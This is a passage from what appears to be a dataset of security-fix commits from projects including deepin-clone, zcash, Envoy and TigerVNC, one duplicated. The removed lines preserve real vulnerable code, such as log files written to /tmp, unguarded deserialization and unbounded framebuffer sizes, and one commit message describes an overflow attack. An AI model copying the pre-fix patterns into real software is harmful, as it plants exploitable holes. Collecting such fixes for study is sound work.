n) (x >> n)\n-#define ROTR(x, n) ((x >> n) | (x << (32 - n)))\n-#define S0(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22))\n-#define S1(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25))\n-#define s0(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ SHR(x, 3))\n-#define s1(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ SHR(x, 10))\n-\n-/* SHA256 round function */\n-#define RND(a, b, c, d, e, f, g, h, k) \\\n- t0 = h + S1(e) + Ch(e, f, g) + k; \\\n- t1 = S0(a) + Maj(a, b, c); \\\n- d += t0; \\\n- h = t0 + t1;\n-\n-/* Adjusted round function for rotating state */\n-#define RNDr(S, W, i, k) \\\n- RND(S[(64 - i) % 8], S[(65 - i) % 8], \\\n- S[(66 - i) % 8], S[(67 - i) % 8], \\\n- S[(68 - i) % 8], S[(69 - i) % 8], \\\n- S[(70 - i) % 8], S[(71 - i) % 8], \\\n- W[i] + k)\n-\n-/*\n- * SHA256 block compression function. The 256-bit state is transformed via\n- * the 512-bit input block to produce a new state.\n- */\n-static void\n-SHA256_Transform(uint32_t * state, const unsigned char block[64])\n-{\n- uint32_t W[64];\n- uint32_t S[8];\n- uint32_t t0, t1;\n- int i;\n-\n- /* 1. Prepare message schedule W. */\n- be32dec_vect(W, block, 64);\n- for (i = 16; i < 64; i++)\n- W[i] = s1(W[i - 2]) + W[i - 7] + s0(W[i - 15]) + W[i - 16];\n-\n- /* 2. Initialize working variables. */\n- memcpy(S, state, 32);\n-\n- /* 3. Mix. */\n- RNDr(S, W, 0, 0x428a2f98);\n- RNDr(S, W, 1, 0x71374491);\n- RNDr(S, W, 2, 0xb5c0fbcf);\n- RNDr(S, W, 3, 0xe9b5dba5);\n- RNDr(S, W, 4, 0x3956c25b);\n- RNDr(S, W, 5, 0x59f111f1);\n- RNDr(S, W, 6, 0x923f82a4);\n- RNDr(S, W, 7, 0xab1c5ed5);\n- RNDr(S, W, 8, 0xd807aa98);\n- RNDr(S, W, 9, 0x12835b01);\n- RNDr(S, W, 10, 0x243185be);\n- RNDr(S, W, 11, 0x550c7dc3);\n- RNDr(S, W, 12, 0x72be5d74);\n- RNDr(S, W, 13, 0x80deb1fe);\n- RNDr(S, W, 14, 0x9bdc06a7);\n- RNDr(S, W, 15, 0xc19bf174);\n- RNDr(S, W, 16, 0xe49b69c1);\n- RNDr(S, W, 17, 0xefbe4786);\n- RNDr(S, W, 18, 0x0fc19dc6);\n- RNDr(S, W, 19, 0x240ca1cc);\n- RNDr(S, W, 20, 0x2de92c6f);\n- RNDr(S, W, 21, 0x4a7484aa);\n- RNDr(S, W, 22, 0x5cb0a9dc);\n- RNDr(S, W, 23, 0x76f988da);\n- RNDr(S, W, 24, 0x983e5152);\n- RNDr(S, W, 25, 0xa831c66d);\n- RNDr(S, W, 26, 0xb00327c8);\n- RNDr(S, W, 27, 0xbf597fc7);\n- RNDr(S, W, 28, 0xc6e00bf3);\n- RNDr(S, W, 29, 0xd5a79147);\n- RNDr(S, W, 30, 0x06ca6351);\n- RNDr(S, W, 31, 0x14292967);\n- RNDr(S, W, 32, 0x27b70a85);\n- RNDr(S, W, 33, 0x2e1b2138);\n- RNDr(S, W, 34, 0x4d2c6dfc);\n- RNDr(S, W, 35, 0x53380d13);\n- RNDr(S, W, 36, 0x650a7354);\n- RNDr(S, W, 37, 0x766a0abb);\n- RNDr(S, W, 38, 0x81c2c92e);\n- RNDr(S, W, 39, 0x92722c85);\n- RNDr(S, W, 40, 0xa2bfe8a1);\n- RNDr(S, W, 41, 0xa81a664b);\n- RNDr(S, W, 42, 0xc24b8b70);\n- RNDr(S, W, 43, 0xc76c51a3);\n- RNDr(S, W, 44, 0xd192e819);\n- RNDr(S, W, 45, 0xd6990624);\n- RNDr(S, W, 46, 0xf40e3585);\n- RNDr(S, W, 47, 0x106aa070);\n- RNDr(S, W, 48, 0x19a4c116);\n- RNDr(S, W, 49, 0x1e376c08);\n- RNDr(S, W, 50, 0x2748774c);\n- RNDr(S, W, 51, 0x34b0bcb5);\n- RNDr(S, W, 52, 0x391c0cb3);\n- RNDr(S, W, 53, 0x4ed8aa4a);\n- RNDr(S, W, 54, 0x5b9cca4f);\n- RNDr(S, W, 55, 0x682e6ff3);\n- RNDr(S, W, 56, 0x748f82ee);\n- RNDr(S, W, 57, 0x78a5636f);\n- RNDr(S, W, 58, 0x84c87814);\n- RNDr(S, W, 59, 0x8cc70208);\n- RNDr(S, W, 60, 0x90befffa);\n- RNDr(S, W, 61, 0xa4506ceb);\n- RNDr(S, W, 62, 0xbef9a3f7);\n- RNDr(S, W, 63, 0xc67178f2);\n-\n- /* 4. Mix local working variables into global state */\n- for (i = 0; i < 8; i++)\n- state[i] += S[i];\n-\n- /* Clean the stack. */\n- memset(W, 0, 256);\n- memset(S, 0, 32);\n- t0 = t1 = 0;\n-}\n-\n-static unsigned char PAD[64] = {\n- 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\n-};\n-\n-/* Add padding and terminating bit-count. */\n-static void\n-SHA256_Pad(struct SHA256_CTX * ctx)\n-{\n- unsigned char len[8];\n- uint32_t r, plen;\n-\n- /*\n- * Convert length to a vector of bytes -- we do this now rather\n- * than later because the length will change after we pad.\n- */\n- be32enc_vect(len, ctx->count, 8);\n-\n- /* Add 1--64 bytes so that the resulting length is 56 mod 64 */\n- r = (ctx->count[1] >> 3) & 0x3f;\n- plen = (r < 56) ? (56 - r) : (120 - r);\n- scrypt_SHA256_Update(ctx, PAD, (size_t)plen);\n-\n- /* Add the terminating bit-count */\n- scrypt_SHA256_Update(ctx, len, 8);\n-}\n-\n-/* SHA-256 initialization. Begins a SHA-256 operation. */\n-void\n-SHA256_Init(struct SHA256_CTX * ctx)\n-{\n-\n- /* Zero bits processed so far */\n- ctx->count[0] = ctx->count[1] = 0;\n-\n- /* Magic initialization constants */\n- ctx->state[0] = 0x6A09E667;\n- ctx->state[1] = 0xBB67AE85;\n- ctx->state[2] = 0x3C6EF372;\n- ctx->state[3] = 0xA54FF53A;\n- ctx->state[4] = 0x510E527F;\n- ctx->state[5] = 0x9B05688C;\n- ctx->state[6] = 0x1F83D9AB;\n- ctx->state[7] = 0x5BE0CD19;\n-}\n-\n-/* Add bytes into the hash */\n-void\n-scrypt_SHA256_Update(struct SHA256_CTX * ctx, const void *in, size_t len)\n-{\n- uint32_t bitlen[2];\n- uint32_t r;\n- const unsigned char *src = (unsigned char *) in;\n-\n- /* Number of bytes left in the buffer from previous updates */\n- r = (ctx->count[1] >> 3) & 0x3f;\n-\n- /* Convert the length into a number of bits */\n- bitlen[1] = ((uint32_t)len) << 3;\n- bitlen[0] = (uint32_t)(len >> 29);\n-\n- /* Update number of bits */\n- if ((ctx->count[1] += bitlen[1]) < bitlen[1])\n- ctx->count[0]++;\n- ctx->count[0] += bitlen[0];\n-\n- /* Handle the case where we don't need to perform any transforms */\n- if (len < 64 - r) {\n- memcpy(&ctx->buf[r], src, len);\n- return;\n- }\n-\n- /* Finish the current block */\n- memcpy(&ctx->buf[r], src, 64 - r);\n- SHA256_Transform(ctx->state, ctx->buf);\n- src += 64 - r;\n- len -= 64 - r;\n-\n- /* Perform complete blocks */\n- while (len >= 64) {\n- SHA256_Transform(ctx->state, src);\n- src += 64;\n- len -= 64;\n- }\n-\n- /* Copy left over data into buffer */\n- memcpy(ctx->buf, src, len);\n-}\n-\n-/*\n- * SHA-256 finalization. Pads the input data, exports the hash value,\n- * and clears the context state.\n- */\n-void\n-scrypt_SHA256_Final(unsigned char digest[32], struct SHA256_CTX * ctx)\n-{\n-\n- /* Add padding */\n- SHA256_Pad(ctx);\n-\n- /* Write the hash */\n- be32enc_vect(digest, ctx->state, 32);\n-\n- /* Clear the context state */\n- memset((void *)ctx, 0, sizeof(*ctx));\n-}\n-\n-/* Initialize an HMAC-SHA256 operation with the given key. */\n-void\n-HMAC_SHA256_Init(struct HMAC_SHA256_CTX * ctx, const void * _K, size_t Klen)\n-{\n- unsigned char pad[64];\n- unsigned char khash[32];\n- const unsigned char * K = (unsigned char *) _K;\n- size_t i;\n-\n- /* If Klen > 64, the key is really SHA256(K). */\n- if (Klen > 64) {\n- SHA256_Init(&ctx->ictx);\n- scrypt_SHA256_Update(&ctx->ictx, K, Klen);\n- scrypt_SHA256_Final(khash, &ctx->ictx);\n- K = khash;\n- Klen = 32;\n- }\n-\n- /* Inner SHA256 operation is SHA256(K xor [block of 0x36] || data). */\n- SHA256_Init(&ctx->ictx);\n- memset(pad, 0x36, 64);\n- for (i = 0; i < Klen; i++)\n- pad[i] ^= K[i];\n- scrypt_SHA256_Update(&ctx->ictx, pad, 64);\n-\n- /* Outer SHA256 operation is SHA256(K xor [block of 0x5c] || hash). */\n- SHA256_Init(&ctx->octx);\n- memset(pad, 0x5c, 64);\n- for (i = 0; i < Klen; i++)\n- pad[i] ^= K[i];\n- scrypt_SHA256_Update(&ctx->octx, pad, 64);\n-\n- /* Clean the stack. */\n- memset(khash, 0, 32);\n-}\n-\n-/* Add bytes to the HMAC-SHA256 operation. */\n-void\n-HMAC_SHA256_Update(struct HMAC_SHA256_CTX * ctx, const void *in, size_t len)\n-{\n-\n- /* Feed data to the inner SHA256 operation. */\n- scrypt_SHA256_Update(&ctx->ictx, in, len);\n-}\n-\n-/* Finish an HMAC-SHA256 operation. */\n-void\n-HMAC_SHA256_Final(unsigned char digest[32], struct HMAC_SHA256_CTX * ctx)\n-{\n- unsigned char ihash[32];\n-\n- /* Finish the inner SHA256 operation. */\n- scrypt_SHA256_Final(ihash, &ctx->ictx);\n-\n- /* Feed the inner hash to the outer SHA256 operation. */\n- scrypt_SHA256_Update(&ctx->octx, ihash, 32);\n-\n- /* Finish the outer SHA256 operation. */\n- scrypt_SHA256_Final(digest, &ctx->octx);\n-\n- /* Clean the stack. */\n- memset(ihash, 0, 32);\n-}\n-\n-/**\n- * PBKDF2_SHA256(passwd, passwdlen, salt, saltlen, c, buf, dkLen):\n- * Compute PBKDF2(passwd, salt, c, dkLen) using HMAC-SHA256 as the PRF, and\n- * write the output to buf. The value dkLen must be at most 32 * (2^32 - 1).\n- */\n-void\n-PBKDF2_SHA256(const uint8_t * passwd, size_t passwdlen, const uint8_t * salt,\n- size_t saltlen, uint64_t c, uint8_t * buf, size_t dkLen)\n-{\n- struct HMAC_SHA256_CTX PShctx, hctx;\n- size_t i;\n- uint8_t ivec[4];\n- uint32_t *ivec_p;\n- uint8_t U[32];\n- uint8_t T[32];\n- uint64_t j;\n- int k;\n- size_t clen;\n-\n- /* Compute HMAC state after processing P and S. */\n- HMAC_SHA256_Init(&PShctx, passwd, passwdlen);\n- HMAC_SHA256_Update(&PShctx, salt, saltlen);\n-\n- /* Iterate through the blocks. */\n- ivec_p = (uint32_t *) ivec;\n- for (i = 0; i * 32 < dkLen; i++) {\n- /* Generate INT(i + 1). */\n- *ivec_p = folly::Endian::big32((uint32_t)(i + 1));\n-\n- /* Compute U_1 = PRF(P, S || INT(i)). */\n- memcpy(&hctx, &PShctx, sizeof(struct HMAC_SHA256_CTX));\n- HMAC_SHA256_Update(&hctx, ivec, 4);\n- HMAC_SHA256_Final(U, &hctx);\n-\n- /* T_i = U_1 ... */\n- memcpy(T, U, 32);\n-\n- for (j = 2; j <= c; j++) {\n- /* Compute U_j. */\n- HMAC_SHA256_Init(&hctx, passwd, passwdlen);\n- HMAC_SHA256_Update(&hctx, U, 32);\n- HMAC_SHA256_Final(U, &hctx);\n-\n- /* ... xor U_j ... */\n- for (k = 0; k < 32; k++)\n- T[k] ^= U[k];\n- }\n-\n- /* Copy as many bytes as necessary into buf. */\n- clen = dkLen - i * 32;\n- if (clen > 32)\n- clen = 32;\n- memcpy(&buf[i * 32], T, clen);\n- }\n-\n- /* Clean PShctx, since we never called _Final on it. */\n- memset(&PShctx, 0, sizeof(struct HMAC_SHA256_CTX));\n-}", "related": false}]} +{"owner": "linuxdeepin", "repo": "deepin-clone", "language": "C++", "file_name": "app/src/corelib/ddevicediskinfo.cpp", "commit_id": "e079f3e2712b4f8c28e3e63e71ba1a1f90fce1ab", "commit_message": "fix: Do not use the \"/tmp\" directory\n\nhttps://github.com/linuxdeepin/deepin-clone/issues/16\nhttps://bugzilla.opensuse.org/show_bug.cgi?id=1130388", "patch": "@@ -303,9 +303,9 @@ bool DDeviceDiskInfoPrivate::openDataStream(int index)\n \n if (currentMode == DDiskInfo::Read) {\n const QString &executer = Helper::getPartcloneExecuter(part);\n- process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /tmp/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n+ process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /var/log/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n } else {\n- process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /tmp/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n+ process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /var/log/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n }\n \n break;", "sections": [{"section": "@@ -303,9 +303,9 @@ bool DDeviceDiskInfoPrivate::openDataStream(int index)\n \n if (currentMode == DDiskInfo::Read) {\n const QString &executer = Helper::getPartcloneExecuter(part);\n- process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /tmp/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n+ process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /var/log/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n } else {\n- process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /tmp/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n+ process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /var/log/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n }\n \n break;", "related": false}]} +{"owner": "linuxdeepin", "repo": "deepin-clone", "language": "C++", "file_name": "app/src/corelib/ddevicediskinfo.cpp", "commit_id": "e079f3e2712b4f8c28e3e63e71ba1a1f90fce1ab", "commit_message": "fix: Do not use the \"/tmp\" directory\n\nhttps://github.com/linuxdeepin/deepin-clone/issues/16\nhttps://bugzilla.opensuse.org/show_bug.cgi?id=1130388", "patch": "@@ -303,9 +303,9 @@ bool DDeviceDiskInfoPrivate::openDataStream(int index)\n \n if (currentMode == DDiskInfo::Read) {\n const QString &executer = Helper::getPartcloneExecuter(part);\n- process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /tmp/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n+ process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /var/log/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n } else {\n- process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /tmp/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n+ process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /var/log/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n }\n \n break;", "sections": [{"section": "@@ -303,9 +303,9 @@ bool DDeviceDiskInfoPrivate::openDataStream(int index)\n \n if (currentMode == DDiskInfo::Read) {\n const QString &executer = Helper::getPartcloneExecuter(part);\n- process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /tmp/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n+ process->start(QStringLiteral(\"%1 -s %2 -o - -c -z %3 -L /var/log/partclone.log\").arg(executer).arg(part.filePath()).arg(Global::bufferSize), QIODevice::ReadOnly);\n } else {\n- process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /tmp/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n+ process->start(QStringLiteral(\"partclone.restore -s - -o %2 -z %3 -L /var/log/partclone.log\").arg(part.filePath()).arg(Global::bufferSize));\n }\n \n break;", "related": false}]} +{"owner": "zcash", "repo": "zcash", "language": "C++", "file_name": "src/zcash/Note.cpp", "commit_id": "c1fbf8ab5d73cff5e1f45236995857c75ba4128d", "commit_message": "Ignore exceptions when deserializing note plaintexts", "patch": "@@ -173,15 +173,21 @@ boost::optional SaplingOutgoingPlaintext::decrypt(\n }\n \n // Deserialize from the plaintext\n- CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n- ss << pt.get();\n+ try {\n+ CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n+ ss << pt.get();\n \n- SaplingOutgoingPlaintext ret;\n- ss >> ret;\n+ SaplingOutgoingPlaintext ret;\n+ ss >> ret;\n \n- assert(ss.size() == 0);\n+ assert(ss.size() == 0);\n \n- return ret;\n+ return ret;\n+ } catch (const boost::thread_interrupted&) {\n+ throw;\n+ } catch (...) {\n+ return boost::none;\n+ }\n }\n \n boost::optional SaplingNotePlaintext::decrypt(\n@@ -197,13 +203,17 @@ boost::optional SaplingNotePlaintext::decrypt(\n }\n \n // Deserialize from the plaintext\n- CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n- ss << pt.get();\n-\n SaplingNotePlaintext ret;\n- ss >> ret;\n-\n- assert(ss.size() == 0);\n+ try {\n+ CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n+ ss << pt.get();\n+ ss >> ret;\n+ assert(ss.size() == 0);\n+ } catch (const boost::thread_interrupted&) {\n+ throw;\n+ } catch (...) {\n+ return boost::none;\n+ }\n \n uint256 pk_d;\n if (!librustzcash_ivk_to_pkd(ivk.begin(), ret.d.data(), pk_d.begin())) {\n@@ -243,11 +253,17 @@ boost::optional SaplingNotePlaintext::decrypt(\n }\n \n // Deserialize from the plaintext\n- CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n- ss << pt.get();\n-\n SaplingNotePlaintext ret;\n- ss >> ret;\n+ try {\n+ CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n+ ss << pt.get();\n+ ss >> ret;\n+ assert(ss.size() == 0);\n+ } catch (const boost::thread_interrupted&) {\n+ throw;\n+ } catch (...) {\n+ return boost::none;\n+ }\n \n uint256 cmu_expected;\n if (!librustzcash_sapling_compute_cm(\n@@ -265,8 +281,6 @@ boost::optional SaplingNotePlaintext::decrypt(\n return boost::none;\n }\n \n- assert(ss.size() == 0);\n-\n return ret;\n }\n ", "sections": [{"section": "@@ -173,15 +173,21 @@ boost::optional SaplingOutgoingPlaintext::decrypt(\n }\n \n // Deserialize from the plaintext\n- CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n- ss << pt.get();\n+ try {\n+ CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n+ ss << pt.get();\n \n- SaplingOutgoingPlaintext ret;\n- ss >> ret;\n+ SaplingOutgoingPlaintext ret;\n+ ss >> ret;\n \n- assert(ss.size() == 0);\n+ assert(ss.size() == 0);\n \n- return ret;\n+ return ret;\n+ } catch (const boost::thread_interrupted&) {\n+ throw;\n+ } catch (...) {\n+ return boost::none;\n+ }\n }\n \n boost::optional SaplingNotePlaintext::decrypt(\n", "related": false}, {"section": "@@ -197,13 +203,17 @@ boost::optional SaplingNotePlaintext::decrypt(\n }\n \n // Deserialize from the plaintext\n- CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n- ss << pt.get();\n-\n SaplingNotePlaintext ret;\n- ss >> ret;\n-\n- assert(ss.size() == 0);\n+ try {\n+ CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n+ ss << pt.get();\n+ ss >> ret;\n+ assert(ss.size() == 0);\n+ } catch (const boost::thread_interrupted&) {\n+ throw;\n+ } catch (...) {\n+ return boost::none;\n+ }\n \n uint256 pk_d;\n if (!librustzcash_ivk_to_pkd(ivk.begin(), ret.d.data(), pk_d.begin())) {\n", "related": false}, {"section": "@@ -243,11 +253,17 @@ boost::optional SaplingNotePlaintext::decrypt(\n }\n \n // Deserialize from the plaintext\n- CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n- ss << pt.get();\n-\n SaplingNotePlaintext ret;\n- ss >> ret;\n+ try {\n+ CDataStream ss(SER_NETWORK, PROTOCOL_VERSION);\n+ ss << pt.get();\n+ ss >> ret;\n+ assert(ss.size() == 0);\n+ } catch (const boost::thread_interrupted&) {\n+ throw;\n+ } catch (...) {\n+ return boost::none;\n+ }\n \n uint256 cmu_expected;\n if (!librustzcash_sapling_compute_cm(\n", "related": false}, {"section": "@@ -265,8 +281,6 @@ boost::optional SaplingNotePlaintext::decrypt(\n return boost::none;\n }\n \n- assert(ss.size() == 0);\n-\n return ret;\n }\n ", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "source/common/http/http2/codec_impl.cc", "commit_id": "afc39bea36fd436e54262f150c009e8d72db5014", "commit_message": "Track byteSize of HeaderMap internally.\n\nIntroduces a cached byte size updated internally in HeaderMap. The value\nis stored as an optional, and is cleared whenever a non-const pointer or\nreference to a HeaderEntry is accessed. The cached value can be set with\nrefreshByteSize() which performs an iteration over the HeaderMap to sum\nthe size of each key and value in the HeaderMap.\n\nSigned-off-by: Asra Ali ", "patch": "@@ -509,6 +509,10 @@ int ConnectionImpl::onFrameReceived(const nghttp2_frame* frame) {\n \n switch (frame->hd.type) {\n case NGHTTP2_HEADERS: {\n+ // Verify that the final HeaderMap's byte size is under the limit before decoding headers.\n+ // This assert iterates over the HeaderMap.\n+ ASSERT(stream->headers_->byteSize().has_value() &&\n+ stream->headers_->byteSize().value() == stream->headers_->byteSizeInternal());\n stream->remote_end_stream_ = frame->hd.flags & NGHTTP2_FLAG_END_STREAM;\n if (!stream->cookies_.empty()) {\n HeaderString key(Headers::get().Cookie);\n@@ -620,6 +624,12 @@ int ConnectionImpl::onFrameSend(const nghttp2_frame* frame) {\n case NGHTTP2_HEADERS:\n case NGHTTP2_DATA: {\n StreamImpl* stream = getStream(frame->hd.stream_id);\n+ if (stream->headers_) {\n+ // Verify that the final HeaderMap's byte size is under the limit before sending frames.\n+ // This assert iterates over the HeaderMap.\n+ ASSERT(stream->headers_->byteSize().has_value() &&\n+ stream->headers_->byteSize().value() == stream->headers_->byteSizeInternal());\n+ }\n stream->local_end_stream_sent_ = frame->hd.flags & NGHTTP2_FLAG_END_STREAM;\n break;\n }\n@@ -808,9 +818,10 @@ int ConnectionImpl::saveHeader(const nghttp2_frame* frame, HeaderString&& name,\n stats_.headers_cb_no_stream_.inc();\n return 0;\n }\n-\n stream->saveHeader(std::move(name), std::move(value));\n- if (stream->headers_->byteSize() > max_request_headers_kb_ * 1024) {\n+ // Verify that the cached value in byte size exists.\n+ ASSERT(stream->headers_->byteSize().has_value());\n+ if (stream->headers_->byteSize().value() > max_request_headers_kb_ * 1024) {\n // This will cause the library to reset/close the stream.\n stats_.header_overflow_.inc();\n return NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE;", "sections": [{"section": "@@ -509,6 +509,10 @@ int ConnectionImpl::onFrameReceived(const nghttp2_frame* frame) {\n \n switch (frame->hd.type) {\n case NGHTTP2_HEADERS: {\n+ // Verify that the final HeaderMap's byte size is under the limit before decoding headers.\n+ // This assert iterates over the HeaderMap.\n+ ASSERT(stream->headers_->byteSize().has_value() &&\n+ stream->headers_->byteSize().value() == stream->headers_->byteSizeInternal());\n stream->remote_end_stream_ = frame->hd.flags & NGHTTP2_FLAG_END_STREAM;\n if (!stream->cookies_.empty()) {\n HeaderString key(Headers::get().Cookie);\n", "related": false}, {"section": "@@ -620,6 +624,12 @@ int ConnectionImpl::onFrameSend(const nghttp2_frame* frame) {\n case NGHTTP2_HEADERS:\n case NGHTTP2_DATA: {\n StreamImpl* stream = getStream(frame->hd.stream_id);\n+ if (stream->headers_) {\n+ // Verify that the final HeaderMap's byte size is under the limit before sending frames.\n+ // This assert iterates over the HeaderMap.\n+ ASSERT(stream->headers_->byteSize().has_value() &&\n+ stream->headers_->byteSize().value() == stream->headers_->byteSizeInternal());\n+ }\n stream->local_end_stream_sent_ = frame->hd.flags & NGHTTP2_FLAG_END_STREAM;\n break;\n }\n", "related": false}, {"section": "@@ -808,9 +818,10 @@ int ConnectionImpl::saveHeader(const nghttp2_frame* frame, HeaderString&& name,\n stats_.headers_cb_no_stream_.inc();\n return 0;\n }\n-\n stream->saveHeader(std::move(name), std::move(value));\n- if (stream->headers_->byteSize() > max_request_headers_kb_ * 1024) {\n+ // Verify that the cached value in byte size exists.\n+ ASSERT(stream->headers_->byteSize().has_value());\n+ if (stream->headers_->byteSize().value() > max_request_headers_kb_ * 1024) {\n // This will cause the library to reset/close the stream.\n stats_.header_overflow_.inc();\n return NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE;", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/integration/http2_integration_test.cc", "commit_id": "afc39bea36fd436e54262f150c009e8d72db5014", "commit_message": "Track byteSize of HeaderMap internally.\n\nIntroduces a cached byte size updated internally in HeaderMap. The value\nis stored as an optional, and is cleared whenever a non-const pointer or\nreference to a HeaderEntry is accessed. The cached value can be set with\nrefreshByteSize() which performs an iteration over the HeaderMap to sum\nthe size of each key and value in the HeaderMap.\n\nSigned-off-by: Asra Ali ", "patch": "@@ -64,6 +64,8 @@ TEST_P(Http2IntegrationTest, Retry) { testRetry(); }\n \n TEST_P(Http2IntegrationTest, RetryAttemptCount) { testRetryAttemptCountHeader(); }\n \n+TEST_P(Http2IntegrationTest, LargeRequestTrailersRejected) { testLargeRequestTrailers(66, 60); }\n+\n static std::string response_metadata_filter = R\"EOF(\n name: response-metadata-filter\n config: {}", "sections": [{"section": "@@ -64,6 +64,8 @@ TEST_P(Http2IntegrationTest, Retry) { testRetry(); }\n \n TEST_P(Http2IntegrationTest, RetryAttemptCount) { testRetryAttemptCountHeader(); }\n \n+TEST_P(Http2IntegrationTest, LargeRequestTrailersRejected) { testLargeRequestTrailers(66, 60); }\n+\n static std::string response_metadata_filter = R\"EOF(\n name: response-metadata-filter\n config: {}", "related": false}]} +{"owner": "cendioossman", "repo": "tigervnc", "language": "C++", "file_name": "common/rfb/PixelBuffer.cxx", "commit_id": "996356b6c65ca165ee1ea46a571c32a1dc3c3821", "commit_message": "Restrict PixelBuffer dimensions to safe values\n\nWe do a lot of calculations based on pixel coordinates and we need\nto make sure they do not overflow. Restrict the maximum dimensions\nwe support rather than try to switch over all calculations to use\n64 bit integers.\n\nThis prevents attackers from from injecting code by specifying a\nhuge framebuffer size and relying on the values overflowing to\naccess invalid areas of the heap.\n\nThis primarily affects the client which gets both the screen\ndimensions and the pixel contents from the remote side. But the\nserver might also be affected as a client can adjust the screen\ndimensions, as can applications inside the session.\n\nIssue found by Pavel Cheremushkin from Kaspersky Lab.", "patch": "@@ -31,6 +31,14 @@ using namespace rdr;\n \n static LogWriter vlog(\"PixelBuffer\");\n \n+// We do a lot of byte offset calculations that assume the result fits\n+// inside a signed 32 bit integer. Limit the maximum size of pixel\n+// buffers so that these calculations never overflow.\n+\n+const int maxPixelBufferWidth = 16384;\n+const int maxPixelBufferHeight = 16384;\n+const int maxPixelBufferStride = 16384;\n+\n \n // -=- Generic pixel buffer class\n \n@@ -108,6 +116,11 @@ void PixelBuffer::getImage(const PixelFormat& pf, void* imageBuf,\n \n void PixelBuffer::setSize(int width, int height)\n {\n+ if ((width < 0) || (width > maxPixelBufferWidth))\n+ throw rfb::Exception(\"Invalid PixelBuffer width of %d pixels requested\", width);\n+ if ((height < 0) || (height > maxPixelBufferHeight))\n+ throw rfb::Exception(\"Invalid PixelBuffer height of %d pixels requested\", height);\n+\n width_ = width;\n height_ = height;\n }\n@@ -340,6 +353,15 @@ const rdr::U8* FullFramePixelBuffer::getBuffer(const Rect& r, int* stride_) cons\n void FullFramePixelBuffer::setBuffer(int width, int height,\n rdr::U8* data_, int stride_)\n {\n+ if ((width < 0) || (width > maxPixelBufferWidth))\n+ throw rfb::Exception(\"Invalid PixelBuffer width of %d pixels requested\", width);\n+ if ((height < 0) || (height > maxPixelBufferHeight))\n+ throw rfb::Exception(\"Invalid PixelBuffer height of %d pixels requested\", height);\n+ if ((stride_ < 0) || (stride_ > maxPixelBufferStride) || (stride_ < width))\n+ throw rfb::Exception(\"Invalid PixelBuffer stride of %d pixels requested\", stride_);\n+ if ((width != 0) && (height != 0) && (data_ == NULL))\n+ throw rfb::Exception(\"PixelBuffer requested without a valid memory area\");\n+\n ModifiablePixelBuffer::setSize(width, height);\n stride = stride_;\n data = data_;", "sections": [{"section": "@@ -31,6 +31,14 @@ using namespace rdr;\n \n static LogWriter vlog(\"PixelBuffer\");\n \n+// We do a lot of byte offset calculations that assume the result fits\n+// inside a signed 32 bit integer. Limit the maximum size of pixel\n+// buffers so that these calculations never overflow.\n+\n+const int maxPixelBufferWidth = 16384;\n+const int maxPixelBufferHeight = 16384;\n+const int maxPixelBufferStride = 16384;\n+\n \n // -=- Generic pixel buffer class\n \n", "related": false}, {"section": "@@ -108,6 +116,11 @@ void PixelBuffer::getImage(const PixelFormat& pf, void* imageBuf,\n \n void PixelBuffer::setSize(int width, int height)\n {\n+ if ((width < 0) || (width > 